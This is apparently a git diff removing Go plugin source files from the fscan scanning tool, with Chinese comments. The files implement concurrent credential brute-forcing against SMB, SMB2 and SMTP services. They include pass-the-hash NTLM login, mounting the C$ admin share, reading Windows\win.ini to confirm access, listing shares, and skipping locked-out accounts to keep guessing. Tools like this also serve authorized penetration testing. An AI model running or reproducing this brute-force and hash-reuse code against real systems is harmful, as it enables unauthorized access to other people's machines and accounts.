for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, SmbCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentSmbScan(ctx, info, credentials, Common.Timeout)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveSmbResult(info, target, result.Credential)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("SMB扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentSmbScan 并发扫描SMB服务
|
||||
func concurrentSmbScan(ctx context.Context, info *Common.HostInfo, credentials []SmbCredential, timeoutSeconds int64) *SmbScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *SmbScanResult, 1)
|
||||
workChan := make(chan SmbCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 记录用户锁定状态,避免继续尝试已锁定的用户
|
||||
lockedUsers := make(map[string]bool)
|
||||
var lockedMutex sync.Mutex
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
// 检查用户是否已锁定
|
||||
lockedMutex.Lock()
|
||||
locked := lockedUsers[credential.Username]
|
||||
lockedMutex.Unlock()
|
||||
if locked {
|
||||
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
|
||||
continue
|
||||
}
|
||||
|
||||
result := trySmbCredential(scanCtx, info, credential, timeoutSeconds)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 检查账号锁定错误
|
||||
if result.Error != nil && strings.Contains(result.Error.Error(), "账号锁定") {
|
||||
lockedMutex.Lock()
|
||||
lockedUsers[credential.Username] = true
|
||||
lockedMutex.Unlock()
|
||||
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
// 检查用户是否已锁定
|
||||
lockedMutex.Lock()
|
||||
locked := lockedUsers[cred.Username]
|
||||
lockedMutex.Unlock()
|
||||
if locked {
|
||||
continue // 跳过已锁定用户
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("SMB并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// trySmbCredential 尝试单个SMB凭据
|
||||
func trySmbCredential(ctx context.Context, info *Common.HostInfo, credential SmbCredential, timeoutSeconds int64) *SmbScanResult {
|
||||
// 创建单个连接超时上下文的结果通道
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
// 在协程中尝试连接
|
||||
go func() {
|
||||
signal := make(chan struct{}, 1)
|
||||
success, err := SmblConn(info, credential.Username, credential.Password, signal)
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
err error
|
||||
}{success, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
return &SmbScanResult{
|
||||
Success: result.success,
|
||||
Error: result.err,
|
||||
Credential: credential,
|
||||
}
|
||||
case <-ctx.Done():
|
||||
return &SmbScanResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
Credential: credential,
|
||||
}
|
||||
case <-time.After(time.Duration(timeoutSeconds) * time.Second):
|
||||
return &SmbScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("连接超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// saveSmbResult 保存SMB扫描结果
|
||||
func saveSmbResult(info *Common.HostInfo, target string, credential SmbCredential) {
|
||||
// 构建结果消息
|
||||
var successMsg string
|
||||
details := map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb",
|
||||
"username": credential.Username,
|
||||
"password": credential.Password,
|
||||
"type": "weak-password",
|
||||
}
|
||||
|
||||
if Common.Domain != "" {
|
||||
successMsg = fmt.Sprintf("SMB认证成功 %s %s\\%s:%s", target, Common.Domain, credential.Username, credential.Password)
|
||||
details["domain"] = Common.Domain
|
||||
} else {
|
||||
successMsg = fmt.Sprintf("SMB认证成功 %s %s:%s", target, credential.Username, credential.Password)
|
||||
}
|
||||
|
||||
// 记录成功日志
|
||||
Common.LogSuccess(successMsg)
|
||||
|
||||
// 保存结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "vulnerable",
|
||||
Details: details,
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
}
|
||||
|
||||
// SmblConn 尝试建立SMB连接并认证
|
||||
func SmblConn(info *Common.HostInfo, user string, pass string, signal chan struct{}) (flag bool, err error) {
|
||||
options := smb.Options{
|
||||
Host: info.Host,
|
||||
Port: 445,
|
||||
User: user,
|
||||
Password: pass,
|
||||
Domain: Common.Domain,
|
||||
Workstation: "",
|
||||
}
|
||||
|
||||
session, err := smb.NewSession(options, false)
|
||||
if err == nil {
|
||||
defer session.Close()
|
||||
if session.IsAuthenticated {
|
||||
return true, nil
|
||||
}
|
||||
return false, fmt.Errorf("认证失败")
|
||||
}
|
||||
|
||||
// 清理错误信息中的换行符和多余空格
|
||||
errMsg := strings.TrimSpace(strings.ReplaceAll(err.Error(), "\n", " "))
|
||||
if strings.Contains(errMsg, "NT Status Error") {
|
||||
switch {
|
||||
case strings.Contains(errMsg, "STATUS_LOGON_FAILURE"):
|
||||
err = fmt.Errorf("密码错误")
|
||||
case strings.Contains(errMsg, "STATUS_ACCOUNT_LOCKED_OUT"):
|
||||
err = fmt.Errorf("账号锁定")
|
||||
case strings.Contains(errMsg, "STATUS_ACCESS_DENIED"):
|
||||
err = fmt.Errorf("拒绝访问")
|
||||
case strings.Contains(errMsg, "STATUS_ACCOUNT_DISABLED"):
|
||||
err = fmt.Errorf("账号禁用")
|
||||
case strings.Contains(errMsg, "STATUS_PASSWORD_EXPIRED"):
|
||||
err = fmt.Errorf("密码过期")
|
||||
case strings.Contains(errMsg, "STATUS_USER_SESSION_DELETED"):
|
||||
return false, fmt.Errorf("会话断开")
|
||||
default:
|
||||
err = fmt.Errorf("认证失败")
|
||||
}
|
||||
}
|
||||
|
||||
signal <- struct{}{}
|
||||
return false, err
|
||||
}
|
||||
-492
@@ -1,492 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"os"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/hirochachacha/go-smb2"
|
||||
)
|
||||
|
||||
// Smb2Credential 表示一个SMB2凭据
|
||||
type Smb2Credential struct {
|
||||
Username string
|
||||
Password string
|
||||
Hash []byte
|
||||
IsHash bool
|
||||
}
|
||||
|
||||
// Smb2ScanResult 表示SMB2扫描结果
|
||||
type Smb2ScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential Smb2Credential
|
||||
Shares []string
|
||||
}
|
||||
|
||||
// SmbScan2 执行SMB2服务的认证扫描,支持密码和哈希两种认证方式
|
||||
func SmbScan2(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始SMB2扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 根据是否提供哈希选择认证模式
|
||||
if len(Common.HashBytes) > 0 {
|
||||
return smbHashScan(ctx, info)
|
||||
}
|
||||
|
||||
return smbPasswordScan(ctx, info)
|
||||
}
|
||||
|
||||
// smbPasswordScan 使用密码进行SMB2认证扫描
|
||||
func smbPasswordScan(ctx context.Context, info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []Smb2Credential
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.ReplaceAll(pass, "{user}", user)
|
||||
credentials = append(credentials, Smb2Credential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
Hash: []byte{},
|
||||
IsHash: false,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始SMB2密码认证扫描 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["smb"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
return concurrentSmb2Scan(ctx, info, credentials)
|
||||
}
|
||||
|
||||
// smbHashScan 使用哈希进行SMB2认证扫描
|
||||
func smbHashScan(ctx context.Context, info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []Smb2Credential
|
||||
for _, user := range Common.Userdict["smb"] {
|
||||
for _, hash := range Common.HashBytes {
|
||||
credentials = append(credentials, Smb2Credential{
|
||||
Username: user,
|
||||
Password: "",
|
||||
Hash: hash,
|
||||
IsHash: true,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始SMB2哈希认证扫描 (总用户数: %d, 总哈希数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["smb"]), len(Common.HashBytes), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
return concurrentSmb2Scan(ctx, info, credentials)
|
||||
}
|
||||
|
||||
// concurrentSmb2Scan 并发扫描SMB2服务
|
||||
func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials []Smb2Credential) error {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *Smb2ScanResult, 1)
|
||||
workChan := make(chan Smb2Credential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 记录共享信息是否已打印和锁定的用户
|
||||
var (
|
||||
sharesPrinted bool
|
||||
lockedUsers = make(map[string]bool)
|
||||
mutex sync.Mutex
|
||||
)
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
// 检查用户是否已锁定
|
||||
mutex.Lock()
|
||||
locked := lockedUsers[credential.Username]
|
||||
currentSharesPrinted := sharesPrinted
|
||||
mutex.Unlock()
|
||||
|
||||
if locked {
|
||||
Common.LogDebug(fmt.Sprintf("跳过已锁定用户: %s", credential.Username))
|
||||
continue
|
||||
}
|
||||
|
||||
// 尝试凭据
|
||||
result := trySmb2Credential(scanCtx, info, credential, currentSharesPrinted)
|
||||
|
||||
// 更新共享信息打印状态
|
||||
if result.Shares != nil && len(result.Shares) > 0 && !currentSharesPrinted {
|
||||
mutex.Lock()
|
||||
sharesPrinted = true
|
||||
mutex.Unlock()
|
||||
|
||||
// 打印共享信息
|
||||
logShareInfo(info, credential.Username, credential.Password, credential.Hash, result.Shares)
|
||||
}
|
||||
|
||||
// 检查认证成功
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// 检查账户锁定
|
||||
if result.Error != nil {
|
||||
errMsg := result.Error.Error()
|
||||
if strings.Contains(errMsg, "account has been automatically locked") ||
|
||||
strings.Contains(errMsg, "account has been locked") ||
|
||||
strings.Contains(errMsg, "user account has been automatically locked") {
|
||||
|
||||
mutex.Lock()
|
||||
lockedUsers[credential.Username] = true
|
||||
mutex.Unlock()
|
||||
|
||||
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
// 检查用户是否已锁定
|
||||
mutex.Lock()
|
||||
locked := lockedUsers[cred.Username]
|
||||
mutex.Unlock()
|
||||
|
||||
if locked {
|
||||
continue // 跳过已锁定用户
|
||||
}
|
||||
|
||||
if cred.IsHash {
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s Hash:%s",
|
||||
i+1, len(credentials), cred.Username, Common.HashValue))
|
||||
} else {
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s",
|
||||
i+1, len(credentials), cred.Username, cred.Password))
|
||||
}
|
||||
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
// 记录成功结果
|
||||
logSuccessfulAuth(info, result.Credential.Username,
|
||||
result.Credential.Password, result.Credential.Hash)
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("SMB2扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return fmt.Errorf("全局超时")
|
||||
}
|
||||
}
|
||||
|
||||
// trySmb2Credential 尝试单个SMB2凭据
|
||||
func trySmb2Credential(ctx context.Context, info *Common.HostInfo, credential Smb2Credential, hasprint bool) *Smb2ScanResult {
|
||||
// 创建单个连接超时上下文
|
||||
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 在协程中尝试连接
|
||||
resultChan := make(chan struct {
|
||||
success bool
|
||||
shares []string
|
||||
err error
|
||||
}, 1)
|
||||
|
||||
go func() {
|
||||
success, err, shares := Smb2Con(connCtx, info, credential.Username,
|
||||
credential.Password, credential.Hash, hasprint)
|
||||
|
||||
select {
|
||||
case <-connCtx.Done():
|
||||
case resultChan <- struct {
|
||||
success bool
|
||||
shares []string
|
||||
err error
|
||||
}{success, shares, err}:
|
||||
}
|
||||
}()
|
||||
|
||||
// 等待结果或超时
|
||||
select {
|
||||
case result := <-resultChan:
|
||||
if result.success {
|
||||
return &Smb2ScanResult{
|
||||
Success: true,
|
||||
Credential: credential,
|
||||
Shares: result.shares,
|
||||
}
|
||||
}
|
||||
|
||||
// 失败时记录错误
|
||||
if result.err != nil {
|
||||
logFailedAuth(info, credential.Username, credential.Password, credential.Hash, result.err)
|
||||
}
|
||||
|
||||
return &Smb2ScanResult{
|
||||
Success: false,
|
||||
Error: result.err,
|
||||
Credential: credential,
|
||||
Shares: result.shares,
|
||||
}
|
||||
|
||||
case <-connCtx.Done():
|
||||
if ctx.Err() != nil {
|
||||
// 全局超时
|
||||
return &Smb2ScanResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
// 单个连接超时
|
||||
err := fmt.Errorf("连接超时")
|
||||
logFailedAuth(info, credential.Username, credential.Password, credential.Hash, err)
|
||||
return &Smb2ScanResult{
|
||||
Success: false,
|
||||
Error: err,
|
||||
Credential: credential,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Smb2Con 尝试SMB2连接并进行认证,检查共享访问权限
|
||||
func Smb2Con(ctx context.Context, info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, shares []string) {
|
||||
// 建立TCP连接,使用上下文提供的超时控制
|
||||
var d net.Dialer
|
||||
conn, err := d.DialContext(ctx, "tcp", fmt.Sprintf("%s:445", info.Host))
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("连接失败: %v", err), nil
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 配置NTLM认证
|
||||
initiator := smb2.NTLMInitiator{
|
||||
User: user,
|
||||
Domain: Common.Domain,
|
||||
}
|
||||
|
||||
// 设置认证方式(哈希或密码)
|
||||
if len(hash) > 0 {
|
||||
initiator.Hash = hash
|
||||
} else {
|
||||
initiator.Password = pass
|
||||
}
|
||||
|
||||
// 创建SMB2会话
|
||||
dialer := &smb2.Dialer{
|
||||
Initiator: &initiator,
|
||||
}
|
||||
|
||||
// 使用context设置超时
|
||||
session, err := dialer.Dial(conn)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("SMB2会话建立失败: %v", err), nil
|
||||
}
|
||||
defer session.Logoff()
|
||||
|
||||
// 检查上下文是否已取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err(), nil
|
||||
default:
|
||||
}
|
||||
|
||||
// 获取共享列表
|
||||
sharesList, err := session.ListSharenames()
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("获取共享列表失败: %v", err), nil
|
||||
}
|
||||
|
||||
// 再次检查上下文是否已取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err(), sharesList
|
||||
default:
|
||||
}
|
||||
|
||||
// 尝试访问C$共享以验证管理员权限
|
||||
fs, err := session.Mount("C$")
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("挂载C$失败: %v", err), sharesList
|
||||
}
|
||||
defer fs.Umount()
|
||||
|
||||
// 最后检查上下文是否已取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return false, ctx.Err(), sharesList
|
||||
default:
|
||||
}
|
||||
|
||||
// 尝试读取系统文件以验证权限
|
||||
path := `Windows\win.ini`
|
||||
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
||||
if err != nil {
|
||||
return false, fmt.Errorf("访问系统文件失败: %v", err), sharesList
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
return true, nil, sharesList
|
||||
}
|
||||
|
||||
// logSuccessfulAuth 记录成功的认证
|
||||
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) {
|
||||
credential := pass
|
||||
if len(hash) > 0 {
|
||||
credential = Common.HashValue
|
||||
}
|
||||
|
||||
// 保存认证成功结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "success",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb2",
|
||||
"username": user,
|
||||
"domain": Common.Domain,
|
||||
"type": "weak-auth",
|
||||
"credential": credential,
|
||||
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// 控制台输出
|
||||
var msg string
|
||||
if Common.Domain != "" {
|
||||
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s", info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
if len(hash) > 0 {
|
||||
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
|
||||
} else {
|
||||
msg += fmt.Sprintf(" Pass:%s", pass)
|
||||
}
|
||||
Common.LogSuccess(msg)
|
||||
}
|
||||
|
||||
// logFailedAuth 记录失败的认证
|
||||
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) {
|
||||
var errlog string
|
||||
if len(hash) > 0 {
|
||||
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
|
||||
info.Host, info.Ports, user, Common.HashValue, err)
|
||||
} else {
|
||||
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
|
||||
info.Host, info.Ports, user, pass, err)
|
||||
}
|
||||
errlog = strings.ReplaceAll(errlog, "\n", " ")
|
||||
Common.LogError(errlog)
|
||||
}
|
||||
|
||||
// logShareInfo 记录SMB共享信息
|
||||
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) {
|
||||
credential := pass
|
||||
if len(hash) > 0 {
|
||||
credential = Common.HashValue
|
||||
}
|
||||
|
||||
// 保存共享信息结果
|
||||
result := &Common.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: Common.VULN,
|
||||
Target: info.Host,
|
||||
Status: "shares-found",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb2",
|
||||
"username": user,
|
||||
"domain": Common.Domain,
|
||||
"shares": shares,
|
||||
"credential": credential,
|
||||
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
|
||||
},
|
||||
}
|
||||
Common.SaveResult(result)
|
||||
|
||||
// 控制台输出
|
||||
var msg string
|
||||
if Common.Domain != "" {
|
||||
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user)
|
||||
} else {
|
||||
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s", info.Host, info.Ports, user)
|
||||
}
|
||||
|
||||
if len(hash) > 0 {
|
||||
msg += fmt.Sprintf(" Hash:%s", Common.HashValue)
|
||||
} else {
|
||||
msg += fmt.Sprintf(" Pass:%s", pass)
|
||||
}
|
||||
msg += fmt.Sprintf(" 共享:%v", shares)
|
||||
Common.LogBase(msg)
|
||||
}
|
||||
-329
@@ -1,329 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"net"
|
||||
"net/smtp"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SmtpCredential 表示一个SMTP凭据
|
||||
type SmtpCredential struct {
|
||||
Username string
|
||||
Password string
|
||||
}
|
||||
|
||||
// SmtpScanResult 表示SMTP扫描结果
|
||||
type SmtpScanResult struct {
|
||||
Success bool
|
||||
Error error
|
||||
Credential SmtpCredential
|
||||
IsAnonymous bool
|
||||
}
|
||||
|
||||
// SmtpScan 执行 SMTP 服务扫描
|
||||
func SmtpScan(info *Common.HostInfo) error {
|
||||
if Common.DisableBrute {
|
||||
return nil
|
||||
}
|
||||
|
||||
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
|
||||
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
|
||||
|
||||
// 设置全局超时上下文
|
||||
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
|
||||
defer cancel()
|
||||
|
||||
// 先测试匿名访问
|
||||
Common.LogDebug("尝试匿名访问...")
|
||||
anonymousResult := trySmtpCredential(ctx, info, SmtpCredential{"", ""}, Common.Timeout, Common.MaxRetries)
|
||||
|
||||
if anonymousResult.Success {
|
||||
// 匿名访问成功
|
||||
saveSmtpResult(info, target, anonymousResult)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 构建凭据列表
|
||||
var credentials []SmtpCredential
|
||||
for _, user := range Common.Userdict["smtp"] {
|
||||
for _, pass := range Common.Passwords {
|
||||
actualPass := strings.Replace(pass, "{user}", user, -1)
|
||||
credentials = append(credentials, SmtpCredential{
|
||||
Username: user,
|
||||
Password: actualPass,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
|
||||
len(Common.Userdict["smtp"]), len(Common.Passwords), len(credentials)))
|
||||
|
||||
// 使用工作池并发扫描
|
||||
result := concurrentSmtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
|
||||
if result != nil {
|
||||
// 记录成功结果
|
||||
saveSmtpResult(info, target, result)
|
||||
return nil
|
||||
}
|
||||
|
||||
// 检查是否因为全局超时而退出
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("SMTP扫描全局超时")
|
||||
return fmt.Errorf("全局超时")
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// concurrentSmtpScan 并发扫描SMTP服务
|
||||
func concurrentSmtpScan(ctx context.Context, info *Common.HostInfo, credentials []SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
|
||||
// 使用ModuleThreadNum控制并发数
|
||||
maxConcurrent := Common.ModuleThreadNum
|
||||
if maxConcurrent <= 0 {
|
||||
maxConcurrent = 10 // 默认值
|
||||
}
|
||||
if maxConcurrent > len(credentials) {
|
||||
maxConcurrent = len(credentials)
|
||||
}
|
||||
|
||||
// 创建工作池
|
||||
var wg sync.WaitGroup
|
||||
resultChan := make(chan *SmtpScanResult, 1)
|
||||
workChan := make(chan SmtpCredential, maxConcurrent)
|
||||
scanCtx, scanCancel := context.WithCancel(ctx)
|
||||
defer scanCancel()
|
||||
|
||||
// 启动工作协程
|
||||
for i := 0; i < maxConcurrent; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for credential := range workChan {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
return
|
||||
default:
|
||||
result := trySmtpCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
|
||||
if result.Success {
|
||||
select {
|
||||
case resultChan <- result:
|
||||
scanCancel() // 找到有效凭据,取消其他工作
|
||||
default:
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// 发送工作
|
||||
go func() {
|
||||
for i, cred := range credentials {
|
||||
select {
|
||||
case <-scanCtx.Done():
|
||||
break
|
||||
default:
|
||||
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
|
||||
workChan <- cred
|
||||
}
|
||||
}
|
||||
close(workChan)
|
||||
}()
|
||||
|
||||
// 等待结果或完成
|
||||
go func() {
|
||||
wg.Wait()
|
||||
close(resultChan)
|
||||
}()
|
||||
|
||||
// 获取结果,考虑全局超时
|
||||
select {
|
||||
case result, ok := <-resultChan:
|
||||
if ok && result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
return nil
|
||||
case <-ctx.Done():
|
||||
Common.LogDebug("SMTP并发扫描全局超时")
|
||||
scanCancel() // 确保取消所有未完成工作
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// trySmtpCredential 尝试单个SMTP凭据
|
||||
func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
|
||||
var lastErr error
|
||||
|
||||
for retry := 0; retry < maxRetries; retry++ {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &SmtpScanResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("全局超时"),
|
||||
Credential: credential,
|
||||
}
|
||||
default:
|
||||
if retry > 0 {
|
||||
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
|
||||
time.Sleep(500 * time.Millisecond) // 重试前等待
|
||||
}
|
||||
|
||||
// 创建连接超时上下文
|
||||
